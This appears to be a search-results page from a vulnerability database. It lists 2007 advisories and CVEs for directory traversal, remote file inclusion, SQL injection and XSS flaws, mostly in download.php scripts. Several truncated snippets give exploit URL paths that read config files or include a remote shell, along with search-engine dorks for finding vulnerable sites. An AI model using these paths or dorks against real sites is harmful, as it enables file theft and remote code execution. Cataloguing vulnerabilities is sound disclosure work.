703 matches found
Unfixed XSS vulnerability at www.vicman.net
Security researcher MaXWeL, has submitted on 10/03/2007 a cross-site-scripting XSS vulnerability affecting www.vicman.net, which at the time of submission ranked 6003 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/03/2007. It is currently...
CVE-2007-4957: Improper Limitation of a Pathname to a Restricted Directory
Multiple directory traversal vulnerabilities in download.php in Chupix CMS 0.2.3 allow remote attackers to read or overwrite arbitrary files via a .. dot dot in the 1 fichier or 2 repertoire parameter, or create arbitrary directories via a .. dot dot in the 3 repertoire parameter...
chupix-file.txt
Chupix CMS 0.2.3 download.php Remote File Download Vulnerability P.Script : http://sourceforge.net/project/showfiles.php?groupid=134930 download.php Lain:18-57 - ifisset$GET'fichier' ", "", $result; $num = trim$result; else $num = 0; $num++; $msg = ""; if!isdir$repertoire mkdir $repertoire, 0755;...
Chupix CMS 0.2.3 (download.php) Remote File Disclosure Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Chupix CMS 0.2.3 download.php Remote File Disclosure Vulnerability ==================================================================== Chupix CMS 0.2.3 download.php Remo...
Chupix CMS 0.2.3 (download.php) Remote File Disclosure Vulnerability
No description provided by source. Chupix CMS 0.2.3 download.php Remote File Download Vulnerability P.Script : http://sourceforge.net/project/showfiles.php?groupid=134930 download.php Lain:18-57 - ifisset$GET'fichier' --------------XXXX // téléchargement du fichier $file = "archives/"...
CVE-2007-4540: Improper Neutralization of Special Elements used in an SQL Command
Multiple SQL injection vulnerabilities in download.php in Olate Download od 3.4.2 allow remote attackers to execute arbitrary SQL commands via the 1 HTTPREFERER or 2 HTTPUSERAGENT HTTP header...
CVE-2007-2507
CVE-2007-2507 describes a directory traversal vulnerability in the Treble Designs 1024 CMS 0.7. The flaw exists in includes/download.php and allows remote attackers to read arbitrary files by providing a ../ sequence in the item parameter. The issue affects Treble Designs 1024 CMS 0.7 and enables...
CVE-2007-2507: Undefined Security Weakness
Directory traversal vulnerability in includes/download.php in Treble Designs 1024 CMS 0.7 allows remote attackers to read arbitrary files via a .. dot dot in the item parameter...
USP FOSS Distribution 1.01(download.php dnld)Remote File Disclosure
USP FOSS Distribution 1.01download.php dnldRemote File Disclosure D.Script: http://norcalvex.org/pagode/uspfossv101.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Dork:intitle:USP FOSS Distribution V.Code In /user/download.php: /user/download.php ? $file = @$GET'dnld';----+...
USP FOSS Distribution 1.01 - dnld Remote File Disclosure
USP FOSS Distribution 1.01 - dnld Remote File Disclosure USP FOSS Distribution 1.01download.php dnldRemote File Disclosure D.Script: http://norcalvex.org/pagode/uspfossv101.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Dork:intitle:USP FOSS Distribution V.Code In...
USP FOSS Distribution 1.01 (dnld) Remote File Disclosure Vulnerability
Exploit for unknown platform in category web applications ====================================================================== USP FOSS Distribution 1.01 dnld Remote File Disclosure Vulnerability ====================================================================== USP FOSS Distribution...
USP FOSS Distribution 1.01 (dnld) Remote File Disclosure Vulnerability
No description provided by source. USP FOSS Distribution 1.01download.php dnldRemote File Disclosure D.Script: http://norcalvex.org/pagode/uspfossv101.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Dork:intitle:USP FOSS Distribution V.Code In /user/download.php:...
USP FOSS Distribution 1.01 - 'dnld' Remote File Disclosure
USP FOSS Distribution 1.01download.php dnldRemote File Disclosure D.Script: http://norcalvex.org/pagode/uspfossv101.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Dork:intitle:USP FOSS Distribution V.Code In /user/download.php: /user/download.php Exploit:PathUSP...
garennes-rfi.txt
Garennes 0.6.1 = Remote File Include Vulnerablites D.Script: https://adullact.net/frs/download.php/672/garennes-easyphp-0.6.1.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Exploit:Path/cpe/index.php?repertoireconfig=Shell Exploit:Path/direction/index.php?repertoireconfig=She...
CVE-2007-1698
download.php in Philex 0.2.3 and earlier allows remote attackers to read arbitrary files and source code, and obtain sensitive information via the file parameter...
CVE-2007-1698
download.php in Philex 0.2.3 and earlier allows remote attackers to read arbitrary files and source code, and obtain sensitive information via the file parameter...
CVE-2007-1698: Undefined Security Weakness
download.php in Philex 0.2.3 and earlier allows remote attackers to read arbitrary files and source code, and obtain sensitive information via the file parameter...
Philex 0.2.3 - Remote File Inclusion File Disclosure
Philex 0.2.3 - Remote File Inclusion File Disclosure Philex 0.2.3 Exploit Remote File Include: PathPhilex/header.inc.php?CssFile=Shell V.Code Disclosure: readfile$HTTPGETVARS"file"; Exploit Remote File Disclosure: PathPhilex/download.php?file=conf.inc.php milw0rm.com 2007-03-23...
Unfixed XSS vulnerability at keznews.com
Security researcher Vagrant, has submitted on 18/03/2007 a cross-site-scripting XSS vulnerability affecting keznews.com, which at the time of submission ranked 14644 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 18/03/2007. It is currently...